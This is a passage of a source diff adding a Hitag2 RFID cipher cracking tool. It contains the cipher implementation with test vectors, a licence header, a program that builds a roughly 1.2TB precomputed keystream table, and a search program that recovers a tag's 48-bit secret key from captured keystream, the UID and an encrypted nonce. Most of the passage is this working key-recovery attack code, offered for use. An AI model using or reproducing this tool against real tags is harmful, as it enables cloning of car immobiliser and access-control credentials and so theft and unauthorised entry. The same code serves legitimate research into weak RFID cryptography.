possible, so optimize! +// The best compiler optimization in Microchip's free XC32 edition is -O1 +//#pragma GCC optimize("O1") + +// private, nonlinear function to generate 1 crypto bit +static uint32_t hitag2_crypt(uint64_t x); + + +// macros to pick out 4 bits in various patterns of 1s & 2s & make a new number +#define pickbits2_2(S, A, B) ( ((S >> A) & 3) | ((S >> (B - 2)) & 0xC) ) +#define pickbits1x4(S, A, B, C, D) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \ + ((S >> (C - 2)) & 4) | ((S >> (D - 3)) & 8) ) +#define pickbits1_1_2(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \ + ((S >> (C - 2)) & 0xC) ) +#define pickbits2_1_1(S, A, B, C) ( ((S >> A) & 3) | ((S >> (B - 2)) & 4) | \ + ((S >> (C - 3)) & 8) ) +#define pickbits1_2_1(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 6) | \ + ((S >> (C - 3)) & 8) ) + + +static uint32_t hitag2_crypt(uint64_t s) +{ + const uint32_t ht2_function4a = 0x2C79; // 0010 1100 0111 1001 + const uint32_t ht2_function4b = 0x6671; // 0110 0110 0111 0001 + const uint32_t ht2_function5c = 0x7907287B; // 0111 1001 0000 0111 0010 1000 0111 1011 + uint32_t bitindex; + + bitindex = (ht2_function4a >> pickbits2_2 (s, 1, 4)) & 1; + bitindex |= ((ht2_function4b << 1) >> pickbits1_1_2 (s, 7, 11, 13)) & 0x02; + bitindex |= ((ht2_function4b << 2) >> pickbits1x4 (s, 16, 20, 22, 25)) & 0x04; + bitindex |= ((ht2_function4b << 3) >> pickbits2_1_1 (s, 27, 30, 32)) & 0x08; + bitindex |= ((ht2_function4a << 4) >> pickbits1_2_1(s, 33, 42, 45)) & 0x10; + + DEBUG_PRINTF("hitag2_crypt bitindex = %02x\n", bitindex); + return (ht2_function5c >> bitindex) & 1; +} + +/* + * Parameters: + * Hitag_State* pstate - output, internal state after initialisation + * uint64_t sharedkey - 48 bit key shared between reader & tag + * uint32_t serialnum - 32 bit tag serial number + * uint32_t initvector - 32 bit random IV from reader, part of tag authentication + */ +void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, uint32_t initvector) +{ + // init state, from serial number and lowest 16 bits of shared key + uint64_t state = ((sharedkey & 0xFFFF) << 32) | serialnum; + + // mix the initialisation vector and highest 32 bits of the shared key + initvector ^= (uint32_t) (sharedkey >> 16); + + // move 16 bits from (IV xor Shared Key) to top of uint64_t state + // these will be XORed in turn with output of the crypto function + state |= (uint64_t) initvector << 48; + initvector >>= 16; + + // unrolled loop is faster on PIC32 (MIPS), do 32 times + // shift register, then calc new bit + state >>= 1; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + + // highest 16 bits of IV XOR Shared Key + state |= (uint64_t) initvector << 47; + + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state ^= (uint64_t) hitag2_crypt(state) << 47; + + DEBUG_PRINTF("hitag2_init result = %012I64x\n", state); + pstate->shiftreg = state; + /* naive version for reference, LFSR has 16 taps + pstate->lfsr = state ^ (state >> 2) ^ (state >> 3) ^ (state >> 6) + ^ (state >> 7) ^ (state >> 8) ^ (state >> 16) ^ (state >> 22) + ^ (state >> 23) ^ (state >> 26) ^ (state >> 30) ^ (state >> 41) + ^ (state >> 42) ^ (state >> 43) ^ (state >> 46) ^ (state >> 47); + */ + { + // optimise with one 64-bit intermediate + uint64_t temp = state ^ (state >> 1); + pstate->lfsr = state ^ (state >> 6) ^ (state >> 16) + ^ (state >> 26) ^ (state >> 30) ^ (state >> 41) + ^ (temp >> 2) ^ (temp >> 7) ^ (temp >> 22) + ^ (temp >> 42) ^ (temp >> 46); + } +} + + +/* + * Return up to 32 crypto bits. + * Last bit is in least significant bit, earlier bits are shifted left. + * Note that the Hitag transmission protocol is least significant bit, + * so we may want to change this, or add a function, that returns the + * crypto output bits in the other order. + * + * Parameters: + * Hitag_State* pstate - in/out, internal cipher state after initialisation + * uint32_t steps - number of bits requested, (capped at 32) + */ +uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps) +{ + uint64_t state = pstate->shiftreg; + uint32_t result = 0; + uint64_t lfsr = pstate->lfsr; + + if (steps == 0) + return 0; + +// commented out the restriction on number of steps so we can step further in one go. +// this still only returns 32 bits obviously +// if (steps > 32) +// steps = 32; + + do { + // update shift registers + if (lfsr & 1) { + state = (state >> 1) | 0x800000000000; + lfsr = (lfsr >> 1) ^ 0xB38083220073; + + // accumulate next bit of crypto + result = (result << 1) | hitag2_crypt(state); + } else { + state >>= 1; + lfsr >>= 1; + + result = (result << 1) | hitag2_crypt(state); + } + } while (--steps); + + DEBUG_PRINTF("hitag2_nstep state = %012I64x, result %02x\n", state, result); + pstate->shiftreg = state; + pstate->lfsr = lfsr; + return result; +} + +// end of crypto core, revert to default optimization level +//#pragma GCC reset_options + + +/* Test code + + Test data and below information about it comes from + http://www.mikrocontroller.net/attachment/102194/hitag2.c + Written by "I.C. Wiener 2006-2007" + + "MIKRON" = O N M I K R + Key = 4F 4E 4D 49 4B 52 - Secret 48-bit key + Serial = 49 43 57 69 - Serial number of the tag, transmitted in clear + Random = 65 6E 45 72 - Random IV, transmitted in clear + ~28~DC~80~31 = D7 23 7F CE - Authenticator value = inverted first 4 bytes of the keystream + + The code below must print out "D7 23 7F CE 8C D0 37 A9 57 49 C1 E6 48 00 8A B6". + The inverse of the first 4 bytes is sent to the tag to authenticate. + The rest is encrypted by XORing it with the subsequent keystream. + +*/ + + +/* +unsigned int hitag2_benchtest_gen32() +{ + const uint64_t key = 0x4ad292b272f2; + const uint32_t serial = 0x96eac292; + const uint32_t initvec = 0x4ea276a6; + Hitag_State state; + + // init crypto + hitag2_init(&state, key, serial, initvec); + + // benchmark: generation of 32 bit stream (excludes initialisation) + GetTimer_us(RESET); + + (void) hitag2_nstep(&state, 32); + + return GetTimer_us(NO_RESET); +} + + +unsigned int hitag2_benchtest(uint32_t count) +{ + const uint64_t key = 0x4ad292b272f2; + const uint32_t serial = 0x96eac292; + const uint32_t initvec = 0x4ea276a6; + Hitag_State state; + uint32_t i; + + // start timer + GetTimer_us(RESET); + + // benchmark: initialise crypto & generate 32 bit authentication + // adding i stops gcc optimizer moving init function call out of loop + for (i = 0; i < count; i++) { + hitag2_init(&state, key, serial, initvec + i); + (void) hitag2_nstep(&state, 32); + } + + return GetTimer_us(NO_RESET); +} + + +unsigned hitag2_verifytest() +{ + uint8_t expected[16] = { 0xD7, 0x23, 0x7F, 0xCE, 0x8C, 0xD0, 0x37, 0xA9, 0x57, 0x49, 0xC1, 0xE6, 0x48, 0x00, 0x8A, 0xB6 }; + // key = 0x4ad292b272f2 after each byte has its bit order reversed + // serial = 0x96eac292 ditto + // initvec = 0x4ea276a6 ditto + const uint64_t key = rev64 (0x524B494D4E4FUL); + const uint32_t serial = rev32 (0x69574349); + const uint32_t initvec = rev32 (0x72456E65); + + uint32_t i; + Hitag_State state; + + // initialise + hitag2_init(&state, key, serial, initvec); + + for (i = 0; i < 16; i++) { + // get 8 bits of keystream + uint8_t x = (uint8_t) hitag2_nstep(&state, 8); + uint8_t y = expected[i]; + + DEBUG_PRINTF ("%02X (%02X) \n", x, y); + if (x != y) + return 0; + } + + return 1; +} +*/ + +#ifdef UNIT_TEST + +int main(int argc, char* argv[]) +{ + unsigned pass = hitag2_verifytest(); + + printf ("Crypto Verify test = %s\n\n", pass ? "PASS" : "FAIL"); + + if (pass) { + hitag2_benchtest(10000); + } + + return 0; +} + +#endif // UNIT_TEST diff --git a/tools/hitag2crack/crack2/hitagcrypto.h b/tools/hitag2crack/crack2/hitagcrypto.h new file mode 100644 index 000000000..d5aa9104c --- /dev/null +++ b/tools/hitag2crack/crack2/hitagcrypto.h @@ -0,0 +1,171 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2014 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: unknown. +// Modifications for RFIDler: Tony Naggs , Adam Laurie + + +#ifndef HITAGCRYPTO_H +#define HITAGCRYPTO_H + +#include + +/* + Our model of Hitag 2 crypto uses 2 parallel shift registers: + a. 48 bit Feedback Shift Register, required for inputs to the nonlinear function. + b. 48 bit Linear Feedback Shift Register (LFSR). + A transform of initial register (a) value, which is then run in parallel. + Enables much faster calculation of the feedback values. + + API: + void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, + uint32_t initvector); + Initialise state from 48 bit shared (secret) reader/tag key, + 32 bit tag serial number and 32 bit initialisation vector from reader. + + uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps); + update shift register state and generate N cipher bits (N should be <= 32) + */ + + +typedef struct { + uint64_t shiftreg; // naive shift register, required for nonlinear fn input + uint64_t lfsr; // fast lfsr, used to make software faster +} Hitag_State; + +void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, uint32_t initvector); + +uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps); + +unsigned int hitag2_benchtest_gen32(); +unsigned int hitag2_benchtest(uint32_t count); +unsigned hitag2_verifytest(); + +#endif /* HITAGCRYPTO_H */ + diff --git a/tools/hitag2crack/crack2/ht2crack2buildtable.c b/tools/hitag2crack/crack2/ht2crack2buildtable.c new file mode 100644 index 000000000..402c5b245 --- /dev/null +++ b/tools/hitag2crack/crack2/ht2crack2buildtable.c @@ -0,0 +1,561 @@ +/* + * ht2crack2buildtable.c + * This builds the 1.2TB table and sorts it. + */ + +#include "ht2crack2utils.h" + + +// DATAMAX is the size of each bucket (bytes). There are 65536 buckets so choose a value such that +// DATAMAX * 65536 < RAM available. For ex, if you want to use 12GB of RAM (for a 16GB machine +// leaving some RAM free for OS and other stuff), DATAMAX = 12GB / 65536 = 196608. Round this down +// to a power of 10; DATAMAX = 196600. +#define DATAMAX 196600 // around 192K rounded down to a power of 10 + +// NUM_BUILD_THREADS and NUM_SORT_THREADS are the number of threads to run concurrently. These should +// ideally be equal to the number of virtual cores you have available. A quad-core machine will +// likely have 8 virtual cores, so set them to 8. +// +// If sorting fails with a 'bus error' then that is likely because your disk I/O can't keep up with +// the read/write demands of the multi-threaded sorting. In this case, reduce the number of sorting +// threads. This will most likely only be a problem with network disks; SATA should be okay; +// USB2/3 should keep up. +// +// These MUST be a power of 2 for the maths to work - you have been warned! +// Also, sort threads MUST be <= build threads or a horrible buffer overflow will happen! +#define NUM_BUILD_THREADS 8 +#define NUM_SORT_THREADS 8 + +// DATASIZE is the number of bytes in an entry. This is 10; 4 bytes of keystream (2 are in the filepath) + +// 6 bytes of PRNG state. +#define DATASIZE 10 + +int debug = 0; + +// table entry for a bucket +struct table { + char path[32]; + pthread_mutex_t mutex; + unsigned char *data; + unsigned char *ptr; +}; + + +// actual table +struct table *t; + +// jump table 1 +uint64_t d[48]; +int nsteps; + +// jump table 2 +uint64_t d2[48]; +int nsteps2; + +// create table entry +void create_table(struct table *t, int d1, int d2) +{ + if (!t) { + printf("create_table: t is NULL\n"); + exit(1); + } + + // create some space + t->data = (unsigned char *)malloc(DATAMAX); + if (!(t->data)) { + printf("create_table: cannot malloc data\n"); + exit(1); + } + + // set data ptr to start of data table + t->ptr = t->data; + + // init the mutex + if (pthread_mutex_init(&(t->mutex), NULL)) { + printf("create_table: cannot init mutex\n"); + exit(1); + } + + // create the path +// sprintf(t->path, "/Volumes/2tb/%02X/%02X.bin", d1 & 0xff, d2 & 0xff); + sprintf(t->path, "table/%02x/%02x.bin", d1 & 0xff, d2 & 0xff); +} + + +// create all table entries +void create_tables(struct table *t) +{ + int i, j; + + if (!t) { + printf("create_tables: t is NULL\n"); + exit(1); + } + + for (i=0; i<0x100; i++) { + for (j=0; j<0x100; j++) { + create_table(t + ((i * 0x100) + j), i, j); + } + } +} + + +// free the table memory +void free_tables(struct table *t) +{ + int i; + struct table *ttmp; + + if (!t) { + printf("free_tables: t is NULL\n"); + exit(1); + } + + for (i=0; i<0x10000; i++) { + ttmp = t + i; + free(ttmp->data); + } +} + + + +// write (partial) table to file +void writetable(struct table *t1) +{ + int fd; + + if (debug) printf("writetable %s\n", t1->path); + + fd = open(t1->path, O_WRONLY | O_CREAT | O_APPEND, 0644); + if (fd <= 0) { + printf("writetable cannot open file %s for appending\n", t1->path); + exit(1); + } + + if (debug) printf("writetable %s opened\n", t1->path); + + if (write(fd, t1->data, t1->ptr - t1->data) < (t1->ptr - t1->data)) { + printf("writetable cannot write all of the data\n"); + exit(1); + } + + if (debug) printf("writetable %s written\n", t1->path); + + close(fd); +} + + +// store value in table +void store(unsigned char *data) +{ + unsigned char d1, d2; + int offset; + struct table *t1; + + // use the first two bytes as an index + d1 = data[0]; + d2 = data[1]; + offset = (d1 * 0x100) + d2; + + if (debug) printf("store, d1=%02X, d2=%02X, offset = %d\n", d1, d2, offset); + + // get pointer to table entry + t1 = t + offset; + + // wait for a lock on this entry + if (pthread_mutex_lock(&(t1->mutex))) { + printf("store: cannot lock mutex at offset %d\n", offset); + exit(1); + } + + if (debug) printf("store, offset = %d, got lock\n", offset); + + // store the entry + memcpy(t1->ptr, data+2, 10); + + if (debug) printf("store, offset = %d, copied data\n", offset); + + // update the ptr + t1->ptr += 10; + + // check if table is full + if ((t1->ptr - t1->data) >= DATAMAX) { + // write the table to disk + writetable(t1); + // reset ptr + t1->ptr = t1->data; + } + + if (debug) printf("store, offset = %d, after possible write\n", offset); + + // release the lock + if (pthread_mutex_unlock(&(t1->mutex))) { + printf("store: cannot unlock mutex at offset %d\n", offset); + exit(1); + } + + if (debug) printf("store, offset = %d, unlocked\n", offset); + +} + +// writes the ks (keystream) and s (state) +void write_ks_s(uint32_t ks1, uint32_t ks2, uint64_t shiftreg) +{ + unsigned char buf[16]; + + // create buffer + writebuf(buf, ks1, 3); + writebuf(buf+3, ks2, 3); + writebuf(buf+6, shiftreg, 6); + + // store buffer + store(buf); + +} + + +// builds the di table for jumping +void builddi(int steps, int table) +{ + uint64_t statemask; + int i; + Hitag_State mystate; + uint64_t *thisd = NULL; + + statemask = 1; + + // select jump table + if (table == 1) { + nsteps = steps; + thisd = d; + } else if (table == 2) { + nsteps2 = steps; + thisd = d2; + } else { + printf("builddi: invalid table num\n"); + exit(1); + } + + // build di states + for (i=0; i<48; i++) { + mystate.shiftreg = statemask; + buildlfsr(&mystate); + hitag2_nstep(&mystate, steps); + thisd[i] = mystate.shiftreg; + + statemask = statemask << 1; + } +} + +// jump function - quickly jumps a load of steps +void jumpnsteps(Hitag_State *hstate, int table) +{ + uint64_t output = 0; + uint64_t bitmask; + int i; + uint64_t *thisd = NULL; + + + // select jump table + if (table == 1) { + thisd = d; + } else if (table == 2) { + thisd = d2; + } else { + printf("jumpnsteps: invalid table num\n"); + exit(1); + } + + // xor all di.si where di is a d state and si is a bit + // we do this by multiplying di by si: + // if si is 1, di.si = di; if si is 0, di.si = 0 + + bitmask = 1; + for (i=0; i<48; i++) { + if (hstate->shiftreg & bitmask) { + output = output ^ thisd[i]; + } + + bitmask = bitmask << 1; + } + + hstate->shiftreg = output; + buildlfsr(hstate); +} + + +// thread to build a part of the table +void *buildtable(void *d) +{ + Hitag_State hstate; + Hitag_State hstate2; + unsigned long i; + unsigned long maxentries = 1; + uint32_t ks1; + uint32_t ks2; + int index = (int)(long)d; + int tnum = NUM_BUILD_THREADS; + + /* set random state */ + hstate.shiftreg = 0x123456789abc; + buildlfsr(&hstate); + + /* jump to offset using jump table 2 (2048) */ + for (i=0; i> 1; + tnum = tnum >> 1; + } + + /* make the entries */ + for (i=0; iptr > t1->data) { + writetable(t1); + } + } + + // dump the memory + free_tables(t); + free(t); + + + + // now for the sorting + + + // start the threads + for (i=0; i 32)) { + printf("makerandom: len must be between 1 and 32 inclusive\n"); + exit(1); + } + + if (read(fd, raw, len) != len) { + printf("makerandom: cannot read random bytes\n"); + exit(1); + } + + for (i=0; ilen = filestat.st_size / 2; +// printf("r->len = %d\n", r->len); + + r->data = (unsigned char *)malloc(r->len); + if (!(r->data)) { + printf("cannot malloc\n"); + exit(1); + } + + j = 0; + nibble = 0; + for (i=0; (ilen); i++) { + if ((data[i] != 0x0a) && (data[i] != 0x0d) && (data[i] != 0x20)) { + if (!nibble) { + r->data[j] = hex2bin(data[i]) << 4; + nibble = 1; + } else { + r->data[j] |= hex2bin(data[i]); + nibble = 0; + j++; + } + } + } + + r->len = j; + + munmap(data, filestat.st_size); + close(fd); + + return 1; +} + +int makecand(unsigned char *c, struct rngdata *r, int bitoffset) +{ + int bytenum; + int bitnum; + int i; + + if (!c || !r || (bitoffset > ((r->len * 8) - 48))) { + printf("makecand: invalid params\n"); + return 0; + } + + bytenum = bitoffset / 8; + bitnum = bitoffset % 8; + + for (i=0; i<6; i++) { + if (!bitnum) { + c[i] = r->data[bytenum + i]; + } else { + c[i] = (r->data[bytenum + i] << bitnum) | (r->data[bytenum + i + 1] >> (8 - bitnum)); + } + } + + return 1; +} + + +// test the candidate against the next or previous rng data +int testcand(unsigned char *f, unsigned char *rt, int fwd) +{ + Hitag_State hstate; + int i; + uint32_t ks1; + uint32_t ks2; + unsigned char buf[6]; + + // build the prng state at the candidate + hstate.shiftreg = 0; + for (i=0; i<6; i++) { + hstate.shiftreg = (hstate.shiftreg << 8) | f[i+4]; + } + buildlfsr(&hstate); + + if (fwd) { + // roll forwards 48 bits + hitag2_nstep(&hstate, 48); + } else { + // roll backwards 48 bits + rollback(&hstate, 48); + buildlfsr(&hstate); + } + + // get 48 bits of RNG from the rolled to state + ks1 = hitag2_nstep(&hstate, 24); + ks2 = hitag2_nstep(&hstate, 24); + + writebuf(buf, ks1, 3); + writebuf(buf+3, ks2, 3); + + // compare them + if (!memcmp(buf, rt, 6)) { + return 1; + } else { + return 0; + } +} + +int searchcand(unsigned char *c, unsigned char *rt, int fwd, unsigned char *m, unsigned char *s) +{ + int fd; + struct stat filestat; + char file[64]; + unsigned char *data; + unsigned char item[10]; + unsigned char *found = NULL; + + + if (!c || !rt || !m || !s) { + printf("searchcand: invalid params\n"); + return 0; + } + + sprintf(file, INPUTFILE, c[0], c[1]); + + fd = open(file, O_RDONLY); + if (fd <= 0) { + printf("cannot open table file %s\n", file); + exit(1); + } + + if (fstat(fd, &filestat)) { + printf("cannot stat file %s\n", file); + exit(1); + } + + data = mmap((caddr_t)0, filestat.st_size, PROT_READ, MAP_PRIVATE, fd, 0); + if (data == MAP_FAILED) { + printf("cannot mmap file %s\n", file); + exit(1); + } + + memcpy(item, c+2, 4); + + found = (unsigned char *)bsearch(item, data, filestat.st_size / DATASIZE, DATASIZE, datacmp); + + if (found) { + + // our candidate is in the table + // go backwards and see if there are other matches + while (((found - data) >= DATASIZE) && (!memcmp(found - DATASIZE, item, 4))) { + found = found - DATASIZE; + } + + // now test all matches + while (((found - data) <= (filestat.st_size - DATASIZE)) && (!memcmp(found, item, 4))) { + if (testcand(found, rt, fwd)) { + memcpy(m, c, 2); + memcpy(m+2, found, 4); + memcpy(s, found+4, 6); + + munmap(data, filestat.st_size); + close(fd); + return 1; + } + + found = found + DATASIZE; + } + } + + munmap(data, filestat.st_size); + close(fd); + + return 0; + +} + +int findmatch(struct rngdata *r, unsigned char *outmatch, unsigned char *outstate, int *bitoffset) +{ + int i; + int bitlen; + unsigned char cand[6]; + unsigned char rngtest[6]; + int fwd; + + if (!r || !outmatch || !outstate || !bitoffset) { + printf("findmatch: invalid params\n"); + return 0; + } + + bitlen = r->len * 8; + + for (i=0; i<=bitlen - 48; i++) { + // print progress + if ((i % 100) == 0) { + printf("searching on bit %d\n", i); + } + + if (!makecand(cand, r, i)) { + printf("cannot makecand, %d\n", i); + return 0; + } +// printf("cand: %02x %02x %02x %02x %02x %02x : ", cand[0], cand[1], cand[2], cand[3], cand[4], cand[5]); +// printbin(cand); + + /* make following or preceding RNG test data to confirm match */ + if (i < (bitlen - 96)) { + if (!makecand(rngtest, r, i + 48)) { + printf("cannot makecand rngtest %d + 48\n", i); + return 0; + } + fwd = 1; + } else { + if (!makecand(rngtest, r, i - 48)) { + printf("cannot makecand rngtest %d - 48\n", i); + return 0; + } + fwd = 0; + } + + if (searchcand(cand, rngtest, fwd, outmatch, outstate)) { + *bitoffset = i; + return 1; + } + } + + return 0; +} + + + + +void rollbackrng(Hitag_State *hstate, unsigned char *s, int offset) +{ + int i; + + if (!s) { + printf("rollbackrng: invalid params\n"); + return; + } + + // build prng at recovered offset + hstate->shiftreg = 0; + for (i=0; i<6; i++) { + hstate->shiftreg = (hstate->shiftreg << 8) | s[i]; + } + + printf("recovered prng state at offset %d:\n", offset); + printstate(hstate); + + // rollback to state after auth + rollback(hstate, offset); + + // rollback through auth (aR, p3) + rollback(hstate, 64); + + printf("prng state after initialisation:\n"); + printstate(hstate); + + +} + +uint64_t recoverkey(Hitag_State *hstate, char *uidstr, char *nRstr) +{ + uint64_t key; + uint64_t keyupper; + uint32_t uid; + uint32_t uidtmp; + uint32_t nRenc; + uint32_t nR; + uint32_t nRxork; + uint32_t b = 0; + int i; + + // key lower 16 bits are lower 16 bits of prng state + key = hstate->shiftreg & 0xffff; + nRxork = (hstate->shiftreg >> 16) & 0xffffffff; + uid = rev32(hexreversetoulong(uidstr)); + nRenc = rev32(hexreversetoulong(nRstr)); + + uidtmp = uid; + // rollback and extract bits b + for (i=0; i<32; i++) { + hstate->shiftreg = ((hstate->shiftreg) << 1) | ((uidtmp >> 31) & 0x1); + uidtmp = uidtmp << 1; + b = (b << 1) | fnf(hstate->shiftreg); + } + + printf("end state:\n"); + printstate(hstate); + printf("b:\t\t"); + printbin2(b, 32); + printf("\n"); + printf("nRenc:\t\t"); + printbin2(nRenc, 32); + printf("\n"); + + nR = nRenc ^ b; + + printf("nR:\t\t"); + printbin2(nR, 32); + printf("\n"); + + keyupper = nRxork ^ nR; + key = key | (keyupper << 16); + printf("key:\t\t"); + printbin2(key, 48); + printf("\n"); + + return key; +} + + +int main(int argc, char *argv[]) +{ + Hitag_State hstate; + struct rngdata rng; + int bitoffset = 0; + unsigned char rngmatch[6]; + unsigned char rngstate[6]; + char *uidstr; + char *nRstr; + uint64_t keyrev; + uint64_t key; + int i; + + if (argc < 4) { + printf("ht2crack2search rngdatafile UID nR\n"); + exit(1); + } + + if (!loadrngdata(&rng, argv[1])) { + printf("loadrngdata failed\n"); + exit(1); + } + + if (!strncmp(argv[2], "0x", 2)) { + uidstr = argv[2] + 2; + } else { + uidstr = argv[2]; + } + + if (!strncmp(argv[3], "0x", 2)) { + nRstr = argv[3] + 2; + } else { + nRstr = argv[3]; + } + + + if (!findmatch(&rng, rngmatch, rngstate, &bitoffset)) { + printf("couldn't find a match\n"); + exit(1); + } + + printf("found match:\n"); + printf("rngmatch = %02x %02x %02x %02x %02x %02x\n", rngmatch[0], rngmatch[1], rngmatch[2], rngmatch[3], rngmatch[4], rngmatch[5]); + printf("rngstate = %02x %02x %02x %02x %02x %02x\n", rngstate[0], rngstate[1], rngstate[2], rngstate[3], rngstate[4], rngstate[5]); + printf("bitoffset = %d\n", bitoffset); + + rollbackrng(&hstate, rngstate, bitoffset); + + keyrev = recoverkey(&hstate, uidstr, nRstr); + key = rev64(keyrev); + + 